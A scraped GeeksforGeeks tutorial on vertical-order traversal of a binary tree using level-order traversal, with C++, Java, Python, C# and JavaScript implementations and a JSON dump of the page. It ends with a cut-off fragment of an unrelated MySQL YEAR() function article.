// C++ program for printing vertical order// of a given binary tree using BFS.#include <bits/stdc++.h> using namespace std; // Structure for a binary tree nodestruct Node { int key; Node *left, *right;}; // A utility function to create a new nodeNode* newNode(int key){ Node* node = new Node; node->key = key; node->left = node->right = NULL; return node;} // The main function to print vertical order of a// binary tree with given rootvoid printVerticalOrder(Node* root){ // Base case if (!root) return; // Create a map and store vertical order in // map using function getVerticalOrder() map<int, vector<int> > m; int hd = 0; // Create queue to do level order traversal. // Every item of queue contains node and // horizontal distance. queue<pair<Node*, int> > que; que.push(make_pair(root, hd)); while (!que.empty()) { // pop from queue front pair<Node*, int> temp = que.front(); que.pop(); hd = temp.second; Node* node = temp.first; // insert this node's data in vector of hash m[hd].push_back(node->key); if (node->left != NULL) que.push(make_pair(node->left, hd - 1)); if (node->right != NULL) que.push(make_pair(node->right, hd + 1)); } // Traverse the map and print nodes at // every horizontal distance (hd) map<int, vector<int> >::iterator it; for (it = m.begin(); it != m.end(); it++) { for (int i = 0; i < it->second.size(); ++i) cout << it->second[i] << " "; cout << endl; }} // Driver program to test above functionsint main(){ Node* root = newNode(1); root->left = newNode(2); root->right = newNode(3); root->left->left = newNode(4); root->left->right = newNode(5); root->right->left = newNode(6); root->right->right = newNode(7); root->right->left->right = newNode(8); root->right->right->right = newNode(9); root->right->right->left = newNode(10); root->right->right->left->right = newNode(11); root->right->right->left->right->right = newNode(12); cout << "Vertical order traversal is \n"; printVerticalOrder(root); return 0;}
import java.util.ArrayList;import java.util.LinkedList;import java.util.Map;import java.util.Queue;import java.util.TreeMap; class Node { int key; Node left, right; // A utility function to create a new node Node newNode(int key) { Node node = new Node(); node.key = key; node.left = node.right = null; return node; }} class Qobj { int hd; Node node; Qobj(int hd, Node node) { this.hd = hd; this.node = node; }} public class VerticalOrderTraversal { // The main function to print vertical order of a // binary tree with given root static void printVerticalOrder(Node root) { // Base case if (root == null) return; // Create a map and store vertical order in // map using function getVerticalOrder() TreeMap<Integer, ArrayList<Integer> > m = new TreeMap<>(); int hd = 0; // Create queue to do level order traversal. // Every item of queue contains node and // horizontal distance. Queue<Qobj> que = new LinkedList<Qobj>(); que.add(new Qobj(0, root)); while (!que.isEmpty()) { // pop from queue front Qobj temp = que.poll(); hd = temp.hd; Node node = temp.node; // insert this node's data in array of hash if (m.containsKey(hd)) { m.get(hd).add(node.key); } else { ArrayList<Integer> al = new ArrayList<>(); al.add(node.key); m.put(hd, al); } if (node.left != null) que.add(new Qobj(hd - 1, node.left)); if (node.right != null) que.add(new Qobj(hd + 1, node.right)); } // Traverse the map and print nodes at // every horizontal distance (hd) for (Map.Entry<Integer, ArrayList<Integer> > entry : m.entrySet()) { ArrayList<Integer> al = entry.getValue(); for (Integer i : al) System.out.print(i + " "); System.out.println(); } } // Driver program to test above functions public static void main(String ar[]) { Node n = new Node(); Node root; root = n.newNode(1); root.left = n.newNode(2); root.right = n.newNode(3); root.left.left = n.newNode(4); root.left.right = n.newNode(5); root.right.left = n.newNode(6); root.right.right = n.newNode(7); root.right.left.right = n.newNode(8); root.right.right.right = n.newNode(9); root.right.right.left = n.newNode(10); root.right.right.left.right = n.newNode(11); root.right.right.left.right.right = n.newNode(12); System.out.println("Vertical order traversal is "); printVerticalOrder(root); }}
# python3 Program to print zigzag traversal of binary treeimport collections# Binary tree nodeclass Node: # Constructor to create a new node def __init__(self, data): self.data = data self.left = self.right = None # function to print vertical order traversal of binary treedef verticalTraverse(root): # Base case if root is None: return # Create empty queue for level order traversal queue = [] # create a map to store nodes at a particular # horizontal distance m = {} # map to store horizontal distance of nodes hd_node = {} # enqueue root queue.append(root) # store the horizontal distance of root as 0 hd_node[root] = 0 m[0] = [root.data] # loop will run while queue is not empty while len(queue) > 0: # dequeue node from queue temp = queue.pop(0) if temp.left: # Enqueue left child queue.append(temp.left) # Store the horizontal distance of left node # hd(left child) = hd(parent) -1 hd_node[temp.left] = hd_node[temp] - 1 hd = hd_node[temp.left] if m.get(hd) is None: m[hd] = [] m[hd].append(temp.left.data) if temp.right: # Enqueue right child queue.append(temp.right) # store the horizontal distance of right child # hd(right child) = hd(parent) + 1 hd_node[temp.right] = hd_node[temp] + 1 hd = hd_node[temp.right] if m.get(hd) is None: m[hd] = [] m[hd].append(temp.right.data) # Sort the map according to horizontal distance sorted_m = collections.OrderedDict(sorted(m.items())) # Traverse the sorted map and print nodes at each horizontal distance for i in sorted_m.values(): for j in i: print(j, " ", end ="") print() # Driver program to check above function"""Constructed binary tree is 1 / \ 2 3 / \ / \ 4 5 6 7 \ / \ 8 10 9 \ 11 \ 12 """root = Node(1)root.left = Node(2)root.right = Node(3)root.left.left = Node(4)root.left.right = Node(5)root.right.left = Node(6)root.right.right = Node(7)root.right.left.right = Node(8)root.right.right.left = Node(10)root.right.right.right = Node(9)root.right.right.left.right = Node(11)root.right.right.left.right.right = Node(12)print("Vertical order traversal is ")verticalTraverse(root) # This code is contributed by Shweta Singh
// C# program to implement the// above approachusing System;using System.Collections;using System.Collections.Generic;class Node{ public int key;public Node left, right; // A utility function to// create a new nodepublic Node newNode(int key){ Node node = new Node(); node.key = key; node.left = node.right = null; return node;}} class Qobj{ public int hd;public Node node;public Qobj(int hd, Node node){ this.hd = hd; this.node = node;}} class VerticalOrderTraversal{ // The main function to print// vertical order of a binary// tree with given rootstatic void printVerticalOrder(Node root){ // Base case if (root == null) return; // Create a map and store vertical // order in map using function // getVerticalOrder() SortedDictionary<int, ArrayList> m = new SortedDictionary<int, ArrayList>(); int hd = 0; // Create queue to do level order // traversal. Every item of queue // contains node and horizontal // distance. Queue que = new Queue(); que.Enqueue(new Qobj(0, root)); while(que.Count != 0) { // pop from queue front Qobj temp = (Qobj)que.Dequeue(); hd = temp.hd; Node node = temp.node; // insert this node's data in // array of hash if (m.ContainsKey(hd)) { m[hd].Add(node.key); } else { ArrayList al = new ArrayList(); al.Add(node.key); m[hd] = al; } if (node.left != null) que.Enqueue(new Qobj(hd - 1, node.left)); if (node.right != null) que.Enqueue(new Qobj(hd + 1, node.right)); } // Traverse the map and print // nodes at every horizontal // distance (hd) foreach(KeyValuePair<int, ArrayList> entry in m) { ArrayList al = (ArrayList)entry.Value; foreach (int i in al) Console.Write(i + " "); Console.Write("\n"); }} // Driver codepublic static void Main(string []arr){ Node n = new Node(); Node root; root = n.newNode(1); root.left = n.newNode(2); root.right = n.newNode(3); root.left.left = n.newNode(4); root.left.right = n.newNode(5); root.right.left = n.newNode(6); root.right.right = n.newNode(7); root.right.left.right = n.newNode(8); root.right.right.right = n.newNode(9); root.right.right.left = n.newNode(10); root.right.right.left.right = n.newNode(11); root.right.right.left.right.right = n.newNode(12); Console.Write("Vertical order traversal is \n"); printVerticalOrder(root);}} // This code is contributed by Rutvik_56
<script>// Javascript program to implement the// above approachclass Node{ constructor() { this.key = 0; this.left = null; this.right = null; }} // A utility function to// create a new nodefunction newNode(key){ var node = new Node(); node.key = key; node.left = node.right = null; return node;} class Qobj{ constructor(hd, node) { this.hd = hd; this.node = node; }} // The main function to print// vertical order of a binary// tree with given rootfunction printVerticalOrder(root){ // Base case if (root == null) return; // Create a map and store vertical // order in map using function // getVerticalOrder() var m = new Map(); var hd = 0; // Create queue to do level order // traversal. Every item of queue // contains node and horizontal // distance. var que = []; que.push(new Qobj(0, root)); while(que.length != 0) { // pop from queue front var temp = que[0]; que.shift(); hd = temp.hd; var node = temp.node; // insert this node's data in // array of hash if (m.has(hd)) { var al = m.get(hd); al.push(node.key); m.set(hd, al); } else { var al = []; al.push(node.key); m.set(hd, al); } if (node.left != null) que.push(new Qobj(hd - 1, node.left)); if (node.right != null) que.push(new Qobj(hd + 1, node.right)); } // Traverse the map and print // nodes at every horizontal // distance (hd) [...m].sort((a,b)=>a[0]-b[0]).forEach(tmp => { var al = tmp[1]; for(var i of al) document.write(i + " "); document.write("<br>"); });} // Driver codevar root = newNode(1);root.left = newNode(2);root.right = newNode(3);root.left.left = newNode(4);root.left.right = newNode(5);root.right.left = newNode(6);root.right.right = newNode(7);root.right.left.right = newNode(8);root.right.right.right = newNode(9);root.right.right.left = newNode(10);root.right.right.left.right = newNode(11);root.right.right.left.right.right = newNode(12);document.write("Vertical order traversal is <br>");printVerticalOrder(root); // This code is contributed by famously.</script>
Output:
Vertical order traversal is
4
2
1 5 6
3 8 10
7 11
9 12
Time Complexity of the above implementation is O(n Log n). Note that the above implementation uses a map which is implemented using self-balancing BST.We can reduce the time complexity to O(n) using unordered_map. To print nodes in the desired order, we can have 2 variables denoting min and max horizontal distance. We can simply iterate from min to max horizontal distance and get corresponding values from Map. So it is O(n)
Auxiliary Space: O(n)
YouTubeGeeksforGeeks506K subscribersPrint a Binary Tree in Vertical Order | Set 3 (Using Level Order Traversal) | GeeksforGeeksWatch laterShareCopy linkInfoShoppingTap to unmuteIf playback doesn't begin shortly, try restarting your device.More videosMore videosYou're signed outVideos you watch may be added to the TV's watch history and influence TV recommendations. To avoid this, cancel and sign in to YouTube on your computer.CancelConfirmSwitch cameraShareInclude playlistAn error occurred while retrieving sharing information. Please try again later.Watch on0:000:000:00 / 5:05•Live•<div class="player-unavailable"><h1 class="message">An error occurred.</h1><div class="submessage"><a href="https://www.youtube.com/watch?v=5u7n4jWx5r0" target="_blank">Try watching this video on www.youtube.com</a>, or enable JavaScript if it is disabled in your browser.</div></div>
This article is contributed by Sahil Chhabra (akku). If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
shweta44
bhavya3009
rutvik_56
famously
akshaysingh98088
anikakapoor
abhishek0719kadiyan
varshagumber28
Amazon
BrowserStack
Dell
Flipkart
Grofers
MakeMyTrip
tree-level-order
Hash
Tree
Flipkart
Amazon
MakeMyTrip
BrowserStack
Dell
Grofers
Hash
Tree
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Double Hashing
Quadratic Probing in Hashing
Rearrange an array such that arr[i] = i
Check if two arrays are equal or not
What are Hash Functions and How to choose a good Hash Function?
Tree Traversals (Inorder, Preorder and Postorder)
AVL Tree | Set 1 (Insertion)
Binary Tree | Set 1 (Introduction)
Level Order Binary Tree Traversal
Binary Tree | Set 3 (Types of Binary Tree)
|
[
{
"code": null,
"e": 26587,
"s": 26559,
"text": "\n28 Feb, 2022"
},
{
"code": null,
"e": 26690,
"s": 26587,
"text": "Given a binary tree, print it vertically. The following example illustrates vertical order traversal. "
},
{
"code": null,
"e": 26920,
"s": 26690,
"text": " \n 1\n / \\\n 2 3\n / \\ / \\\n 4 5 6 7\n \\ \\\n 8 9 \n \nThe output of print this tree vertically will be:\n4\n2\n1 5 6\n3 8\n7\n9"
},
{
"code": null,
"e": 27386,
"s": 26920,
"text": "We have discussed an efficient approach in below post.Print a Binary Tree in Vertical Order | Set 2 (Hashmap based Method)The above solution uses preorder traversal and Hashmap to store nodes according to horizontal distances. Since the above approach uses preorder traversal, nodes in a vertical line may not be printed in the same order as they appear in the tree. For example, the above solution prints 12 before 9 in the below tree. See this for a sample run. "
},
{
"code": null,
"e": 27636,
"s": 27386,
"text": " 1\n / \\\n 2 3\n / \\ / \\\n 4 5 6 7\n \\ / \\\n 8 10 9 \n \\\n 11\n \\\n 12 "
},
{
"code": null,
"e": 27822,
"s": 27636,
"text": "If we use level order traversal, we can make sure that if a node like 12 comes below in the same vertical line, it is printed after a node like 9 which comes above in the vertical line."
},
{
"code": null,
"e": 28290,
"s": 27822,
"text": "1. To maintain a hash for the branch of each node.\n2. Traverse the tree in level order fashion.\n3. In level order traversal, maintain a queue\n which holds, node and its vertical branch.\n * pop from queue.\n * add this node's data in vector corresponding\n to its branch in the hash.\n * if this node hash left child, insert in the \n queue, left with branch - 1.\n * if this node hash right child, insert in the \n queue, right with branch + 1."
},
{
"code": null,
"e": 28294,
"s": 28290,
"text": "C++"
},
{
"code": null,
"e": 28299,
"s": 28294,
"text": "Java"
},
{
"code": null,
"e": 28307,
"s": 28299,
"text": "Python3"
},
{
"code": null,
"e": 28310,
"s": 28307,
"text": "C#"
},
{
"code": null,
"e": 28321,
"s": 28310,
"text": "Javascript"
},
{
"code": "// C++ program for printing vertical order// of a given binary tree using BFS.#include <bits/stdc++.h> using namespace std; // Structure for a binary tree nodestruct Node { int key; Node *left, *right;}; // A utility function to create a new nodeNode* newNode(int key){ Node* node = new Node; node->key = key; node->left = node->right = NULL; return node;} // The main function to print vertical order of a// binary tree with given rootvoid printVerticalOrder(Node* root){ // Base case if (!root) return; // Create a map and store vertical order in // map using function getVerticalOrder() map<int, vector<int> > m; int hd = 0; // Create queue to do level order traversal. // Every item of queue contains node and // horizontal distance. queue<pair<Node*, int> > que; que.push(make_pair(root, hd)); while (!que.empty()) { // pop from queue front pair<Node*, int> temp = que.front(); que.pop(); hd = temp.second; Node* node = temp.first; // insert this node's data in vector of hash m[hd].push_back(node->key); if (node->left != NULL) que.push(make_pair(node->left, hd - 1)); if (node->right != NULL) que.push(make_pair(node->right, hd + 1)); } // Traverse the map and print nodes at // every horizontal distance (hd) map<int, vector<int> >::iterator it; for (it = m.begin(); it != m.end(); it++) { for (int i = 0; i < it->second.size(); ++i) cout << it->second[i] << \" \"; cout << endl; }} // Driver program to test above functionsint main(){ Node* root = newNode(1); root->left = newNode(2); root->right = newNode(3); root->left->left = newNode(4); root->left->right = newNode(5); root->right->left = newNode(6); root->right->right = newNode(7); root->right->left->right = newNode(8); root->right->right->right = newNode(9); root->right->right->left = newNode(10); root->right->right->left->right = newNode(11); root->right->right->left->right->right = newNode(12); cout << \"Vertical order traversal is \\n\"; printVerticalOrder(root); return 0;}",
"e": 30506,
"s": 28321,
"text": null
},
{
"code": "import java.util.ArrayList;import java.util.LinkedList;import java.util.Map;import java.util.Queue;import java.util.TreeMap; class Node { int key; Node left, right; // A utility function to create a new node Node newNode(int key) { Node node = new Node(); node.key = key; node.left = node.right = null; return node; }} class Qobj { int hd; Node node; Qobj(int hd, Node node) { this.hd = hd; this.node = node; }} public class VerticalOrderTraversal { // The main function to print vertical order of a // binary tree with given root static void printVerticalOrder(Node root) { // Base case if (root == null) return; // Create a map and store vertical order in // map using function getVerticalOrder() TreeMap<Integer, ArrayList<Integer> > m = new TreeMap<>(); int hd = 0; // Create queue to do level order traversal. // Every item of queue contains node and // horizontal distance. Queue<Qobj> que = new LinkedList<Qobj>(); que.add(new Qobj(0, root)); while (!que.isEmpty()) { // pop from queue front Qobj temp = que.poll(); hd = temp.hd; Node node = temp.node; // insert this node's data in array of hash if (m.containsKey(hd)) { m.get(hd).add(node.key); } else { ArrayList<Integer> al = new ArrayList<>(); al.add(node.key); m.put(hd, al); } if (node.left != null) que.add(new Qobj(hd - 1, node.left)); if (node.right != null) que.add(new Qobj(hd + 1, node.right)); } // Traverse the map and print nodes at // every horizontal distance (hd) for (Map.Entry<Integer, ArrayList<Integer> > entry : m.entrySet()) { ArrayList<Integer> al = entry.getValue(); for (Integer i : al) System.out.print(i + \" \"); System.out.println(); } } // Driver program to test above functions public static void main(String ar[]) { Node n = new Node(); Node root; root = n.newNode(1); root.left = n.newNode(2); root.right = n.newNode(3); root.left.left = n.newNode(4); root.left.right = n.newNode(5); root.right.left = n.newNode(6); root.right.right = n.newNode(7); root.right.left.right = n.newNode(8); root.right.right.right = n.newNode(9); root.right.right.left = n.newNode(10); root.right.right.left.right = n.newNode(11); root.right.right.left.right.right = n.newNode(12); System.out.println(\"Vertical order traversal is \"); printVerticalOrder(root); }}",
"e": 33349,
"s": 30506,
"text": null
},
{
"code": "# python3 Program to print zigzag traversal of binary treeimport collections# Binary tree nodeclass Node: # Constructor to create a new node def __init__(self, data): self.data = data self.left = self.right = None # function to print vertical order traversal of binary treedef verticalTraverse(root): # Base case if root is None: return # Create empty queue for level order traversal queue = [] # create a map to store nodes at a particular # horizontal distance m = {} # map to store horizontal distance of nodes hd_node = {} # enqueue root queue.append(root) # store the horizontal distance of root as 0 hd_node[root] = 0 m[0] = [root.data] # loop will run while queue is not empty while len(queue) > 0: # dequeue node from queue temp = queue.pop(0) if temp.left: # Enqueue left child queue.append(temp.left) # Store the horizontal distance of left node # hd(left child) = hd(parent) -1 hd_node[temp.left] = hd_node[temp] - 1 hd = hd_node[temp.left] if m.get(hd) is None: m[hd] = [] m[hd].append(temp.left.data) if temp.right: # Enqueue right child queue.append(temp.right) # store the horizontal distance of right child # hd(right child) = hd(parent) + 1 hd_node[temp.right] = hd_node[temp] + 1 hd = hd_node[temp.right] if m.get(hd) is None: m[hd] = [] m[hd].append(temp.right.data) # Sort the map according to horizontal distance sorted_m = collections.OrderedDict(sorted(m.items())) # Traverse the sorted map and print nodes at each horizontal distance for i in sorted_m.values(): for j in i: print(j, \" \", end =\"\") print() # Driver program to check above function\"\"\"Constructed binary tree is 1 / \\ 2 3 / \\ / \\ 4 5 6 7 \\ / \\ 8 10 9 \\ 11 \\ 12 \"\"\"root = Node(1)root.left = Node(2)root.right = Node(3)root.left.left = Node(4)root.left.right = Node(5)root.right.left = Node(6)root.right.right = Node(7)root.right.left.right = Node(8)root.right.right.left = Node(10)root.right.right.right = Node(9)root.right.right.left.right = Node(11)root.right.right.left.right.right = Node(12)print(\"Vertical order traversal is \")verticalTraverse(root) # This code is contributed by Shweta Singh",
"e": 35946,
"s": 33349,
"text": null
},
{
"code": "// C# program to implement the// above approachusing System;using System.Collections;using System.Collections.Generic;class Node{ public int key;public Node left, right; // A utility function to// create a new nodepublic Node newNode(int key){ Node node = new Node(); node.key = key; node.left = node.right = null; return node;}} class Qobj{ public int hd;public Node node;public Qobj(int hd, Node node){ this.hd = hd; this.node = node;}} class VerticalOrderTraversal{ // The main function to print// vertical order of a binary// tree with given rootstatic void printVerticalOrder(Node root){ // Base case if (root == null) return; // Create a map and store vertical // order in map using function // getVerticalOrder() SortedDictionary<int, ArrayList> m = new SortedDictionary<int, ArrayList>(); int hd = 0; // Create queue to do level order // traversal. Every item of queue // contains node and horizontal // distance. Queue que = new Queue(); que.Enqueue(new Qobj(0, root)); while(que.Count != 0) { // pop from queue front Qobj temp = (Qobj)que.Dequeue(); hd = temp.hd; Node node = temp.node; // insert this node's data in // array of hash if (m.ContainsKey(hd)) { m[hd].Add(node.key); } else { ArrayList al = new ArrayList(); al.Add(node.key); m[hd] = al; } if (node.left != null) que.Enqueue(new Qobj(hd - 1, node.left)); if (node.right != null) que.Enqueue(new Qobj(hd + 1, node.right)); } // Traverse the map and print // nodes at every horizontal // distance (hd) foreach(KeyValuePair<int, ArrayList> entry in m) { ArrayList al = (ArrayList)entry.Value; foreach (int i in al) Console.Write(i + \" \"); Console.Write(\"\\n\"); }} // Driver codepublic static void Main(string []arr){ Node n = new Node(); Node root; root = n.newNode(1); root.left = n.newNode(2); root.right = n.newNode(3); root.left.left = n.newNode(4); root.left.right = n.newNode(5); root.right.left = n.newNode(6); root.right.right = n.newNode(7); root.right.left.right = n.newNode(8); root.right.right.right = n.newNode(9); root.right.right.left = n.newNode(10); root.right.right.left.right = n.newNode(11); root.right.right.left.right.right = n.newNode(12); Console.Write(\"Vertical order traversal is \\n\"); printVerticalOrder(root);}} // This code is contributed by Rutvik_56",
"e": 38515,
"s": 35946,
"text": null
},
{
"code": "<script>// Javascript program to implement the// above approachclass Node{ constructor() { this.key = 0; this.left = null; this.right = null; }} // A utility function to// create a new nodefunction newNode(key){ var node = new Node(); node.key = key; node.left = node.right = null; return node;} class Qobj{ constructor(hd, node) { this.hd = hd; this.node = node; }} // The main function to print// vertical order of a binary// tree with given rootfunction printVerticalOrder(root){ // Base case if (root == null) return; // Create a map and store vertical // order in map using function // getVerticalOrder() var m = new Map(); var hd = 0; // Create queue to do level order // traversal. Every item of queue // contains node and horizontal // distance. var que = []; que.push(new Qobj(0, root)); while(que.length != 0) { // pop from queue front var temp = que[0]; que.shift(); hd = temp.hd; var node = temp.node; // insert this node's data in // array of hash if (m.has(hd)) { var al = m.get(hd); al.push(node.key); m.set(hd, al); } else { var al = []; al.push(node.key); m.set(hd, al); } if (node.left != null) que.push(new Qobj(hd - 1, node.left)); if (node.right != null) que.push(new Qobj(hd + 1, node.right)); } // Traverse the map and print // nodes at every horizontal // distance (hd) [...m].sort((a,b)=>a[0]-b[0]).forEach(tmp => { var al = tmp[1]; for(var i of al) document.write(i + \" \"); document.write(\"<br>\"); });} // Driver codevar root = newNode(1);root.left = newNode(2);root.right = newNode(3);root.left.left = newNode(4);root.left.right = newNode(5);root.right.left = newNode(6);root.right.right = newNode(7);root.right.left.right = newNode(8);root.right.right.right = newNode(9);root.right.right.left = newNode(10);root.right.right.left.right = newNode(11);root.right.right.left.right.right = newNode(12);document.write(\"Vertical order traversal is <br>\");printVerticalOrder(root); // This code is contributed by famously.</script>",
"e": 40758,
"s": 38515,
"text": null
},
{
"code": null,
"e": 40768,
"s": 40758,
"text": "Output: "
},
{
"code": null,
"e": 40840,
"s": 40768,
"text": "Vertical order traversal is \n4 \n2 \n1 5 6 \n3 8 10 \n7 11 \n9 12"
},
{
"code": null,
"e": 41268,
"s": 40840,
"text": "Time Complexity of the above implementation is O(n Log n). Note that the above implementation uses a map which is implemented using self-balancing BST.We can reduce the time complexity to O(n) using unordered_map. To print nodes in the desired order, we can have 2 variables denoting min and max horizontal distance. We can simply iterate from min to max horizontal distance and get corresponding values from Map. So it is O(n)"
},
{
"code": null,
"e": 41291,
"s": 41268,
"text": "Auxiliary Space: O(n) "
},
{
"code": null,
"e": 42165,
"s": 41291,
"text": "YouTubeGeeksforGeeks506K subscribersPrint a Binary Tree in Vertical Order | Set 3 (Using Level Order Traversal) | GeeksforGeeksWatch laterShareCopy linkInfoShoppingTap to unmuteIf playback doesn't begin shortly, try restarting your device.More videosMore videosYou're signed outVideos you watch may be added to the TV's watch history and influence TV recommendations. To avoid this, cancel and sign in to YouTube on your computer.CancelConfirmSwitch cameraShareInclude playlistAn error occurred while retrieving sharing information. Please try again later.Watch on0:000:000:00 / 5:05•Live•<div class=\"player-unavailable\"><h1 class=\"message\">An error occurred.</h1><div class=\"submessage\"><a href=\"https://www.youtube.com/watch?v=5u7n4jWx5r0\" target=\"_blank\">Try watching this video on www.youtube.com</a>, or enable JavaScript if it is disabled in your browser.</div></div>"
},
{
"code": null,
"e": 42594,
"s": 42165,
"text": "This article is contributed by Sahil Chhabra (akku). If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above. "
},
{
"code": null,
"e": 42603,
"s": 42594,
"text": "shweta44"
},
{
"code": null,
"e": 42614,
"s": 42603,
"text": "bhavya3009"
},
{
"code": null,
"e": 42624,
"s": 42614,
"text": "rutvik_56"
},
{
"code": null,
"e": 42633,
"s": 42624,
"text": "famously"
},
{
"code": null,
"e": 42650,
"s": 42633,
"text": "akshaysingh98088"
},
{
"code": null,
"e": 42662,
"s": 42650,
"text": "anikakapoor"
},
{
"code": null,
"e": 42682,
"s": 42662,
"text": "abhishek0719kadiyan"
},
{
"code": null,
"e": 42697,
"s": 42682,
"text": "varshagumber28"
},
{
"code": null,
"e": 42704,
"s": 42697,
"text": "Amazon"
},
{
"code": null,
"e": 42717,
"s": 42704,
"text": "BrowserStack"
},
{
"code": null,
"e": 42722,
"s": 42717,
"text": "Dell"
},
{
"code": null,
"e": 42731,
"s": 42722,
"text": "Flipkart"
},
{
"code": null,
"e": 42739,
"s": 42731,
"text": "Grofers"
},
{
"code": null,
"e": 42750,
"s": 42739,
"text": "MakeMyTrip"
},
{
"code": null,
"e": 42767,
"s": 42750,
"text": "tree-level-order"
},
{
"code": null,
"e": 42772,
"s": 42767,
"text": "Hash"
},
{
"code": null,
"e": 42777,
"s": 42772,
"text": "Tree"
},
{
"code": null,
"e": 42786,
"s": 42777,
"text": "Flipkart"
},
{
"code": null,
"e": 42793,
"s": 42786,
"text": "Amazon"
},
{
"code": null,
"e": 42804,
"s": 42793,
"text": "MakeMyTrip"
},
{
"code": null,
"e": 42817,
"s": 42804,
"text": "BrowserStack"
},
{
"code": null,
"e": 42822,
"s": 42817,
"text": "Dell"
},
{
"code": null,
"e": 42830,
"s": 42822,
"text": "Grofers"
},
{
"code": null,
"e": 42835,
"s": 42830,
"text": "Hash"
},
{
"code": null,
"e": 42840,
"s": 42835,
"text": "Tree"
},
{
"code": null,
"e": 42938,
"s": 42840,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 42953,
"s": 42938,
"text": "Double Hashing"
},
{
"code": null,
"e": 42982,
"s": 42953,
"text": "Quadratic Probing in Hashing"
},
{
"code": null,
"e": 43022,
"s": 42982,
"text": "Rearrange an array such that arr[i] = i"
},
{
"code": null,
"e": 43059,
"s": 43022,
"text": "Check if two arrays are equal or not"
},
{
"code": null,
"e": 43123,
"s": 43059,
"text": "What are Hash Functions and How to choose a good Hash Function?"
},
{
"code": null,
"e": 43173,
"s": 43123,
"text": "Tree Traversals (Inorder, Preorder and Postorder)"
},
{
"code": null,
"e": 43202,
"s": 43173,
"text": "AVL Tree | Set 1 (Insertion)"
},
{
"code": null,
"e": 43237,
"s": 43202,
"text": "Binary Tree | Set 1 (Introduction)"
},
{
"code": null,
"e": 43271,
"s": 43237,
"text": "Level Order Binary Tree Traversal"
}
] |
YEAR() Function in MySQL - GeeksforGeeks
|
29 Sep, 2020
YEAR() function in MySQL is used to find year from the given date. If the date is NULL, the YEAR() function will return NULL. Otherwise, it returns value range from 1000 to 9999.
Syntax :
YEAR(date)
Parameter : This method accepts one parameter as mentioned above and described below :
date : The date or datetime from which we want to extract the year.
Returns : It returns the value range from 1000 to 9999.
Example-1 : Finding the Current Year Using Year() Function.
SELECT YEAR(NOW()) AS Current_Year;
Output :
mysql> SELECT YEAR(NOW()) AS Current_Year;
+--------------+
| Current_Year |
+--------------+
| 2020 |
+--------------+
1 row in set (0.00 sec)
Example-2 : Finding the Year from given datetime Using Year() Function.
SELECT YEAR('2015-09-26 08:09:22') AS Year ;
Output :
+------+
| Year |
+------+
| 2015 |
+------+
Example-3 : Finding the Year from given datetime Using Year() Function when the date is NULL.
SELECT YEAR(NULL) AS Year ;
Output :
+------+
| Year |
+------+
| NULL |
+------+
Example-4 : The YEAR function can also be used to find total product sold in a year. To demonstrate create a table named.
Product :
CREATE TABLE Product(
Product_id INT AUTO_INCREMENT,
Product_name VARCHAR(100) NOT NULL,
Buying_price DECIMAL(13, 2) NOT NULL,
Selling_price DECIMAL(13, 2) NOT NULL,
Selling_Date Date NOT NULL,
PRIMARY KEY(Product_id)
);
Now inserting some data to the Product table :
INSERT INTO
Product(Product_name, Buying_price, Selling_price, Selling_Date)
VALUES
('Audi Q8', 10000000.00, 15000000.00, '2018-01-26' ),
('Volvo XC40', 2000000.00, 3000000.00, '2018-04-20' ),
('Audi A6', 4000000.00, 5000000.00, '2018-07-25' ),
('BMW X5', 5000500.00, 7006500.00, '2018-10-18' ),
('Jaguar XF', 5000000, 7507000.00, '2019-01-27' ),
('Mercedes-Benz C-Class', 4000000.00, 6000000.00, '2019-09-01' ),
('Jaguar F-PACE', 5000000.00, 7000000.00, '2019-12-26' ),
('Porsche Macan', 6500000.00, 8000000.00, '2020-06-16' ) ;
So, Our table looks like :
mysql> SELECT * FROM Product;
+------------+-----------------------+--------------+---------------+--------------+
| Product_id | Product_name | Buying_price | Selling_price | Selling_Date |
+------------+-----------------------+--------------+---------------+--------------+
| 1 | Audi Q8 | 10000000.00 | 15000000.00 | 2018-01-26 |
| 2 | Volvo XC40 | 2000000.00 | 3000000.00 | 2018-04-20 |
| 3 | Audi A6 | 4000000.00 | 5000000.00 | 2018-07-25 |
| 4 | BMW X5 | 5000500.00 | 7006500.00 | 2018-10-18 |
| 5 | Jaguar XF | 5000000.00 | 7507000.00 | 2019-01-27 |
| 6 | Mercedes-Benz C-Class | 4000000.00 | 6000000.00 | 2019-09-01 |
| 7 | Jaguar F-PACE | 5000000.00 | 7000000.00 | 2019-12-26 |
| 8 | Porsche Macan | 6500000.00 | 8000000.00 | 2020-06-16 |
+------------+-----------------------+--------------+---------------+--------------+
Now, we are going to find number of product sold per year by using YEAR() function.
SELECT
YEAR(Selling_Date) year,
COUNT(Product_id) Product_Sold
FROM
Product
GROUP BY YEAR(Selling_Date)
ORDER BY YEAR(Selling_Date);
Output :
+------+--------------+
| year | Product_Sold |
+------+--------------+
| 2018 | 4 |
| 2019 | 3 |
| 2020 | 1 |
+------+--------------+
DBMS-SQL
mysql
SQL
SQL
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
How to Update Multiple Columns in Single Update Statement in SQL?
How to Create a Table With Multiple Foreign Keys in SQL?
What is Temporary Table in SQL?
SQL | Subquery
SQL Query to Find the Name of a Person Whose Name Starts with Specific Letter
SQL Query to Convert VARCHAR to INT
SQL using Python
How to Write a SQL Query For a Specific Date Range and Date Time?
How to Select Data Between Two Dates and Times in SQL Server?
SQL Query to Compare Two Dates
|
[
{
"code": null,
"e": 25623,
"s": 25595,
"text": "\n29 Sep, 2020"
},
{
"code": null,
"e": 25802,
"s": 25623,
"text": "YEAR() function in MySQL is used to find year from the given date. If the date is NULL, the YEAR() function will return NULL. Otherwise, it returns value range from 1000 to 9999."
},
{
"code": null,
"e": 25811,
"s": 25802,
"text": "Syntax :"
},
{
"code": null,
"e": 25825,
"s": 25811,
"text": "YEAR(date) \n"
},
{
"code": null,
"e": 25912,
"s": 25825,
"text": "Parameter : This method accepts one parameter as mentioned above and described below :"
},
{
"code": null,
"e": 25980,
"s": 25912,
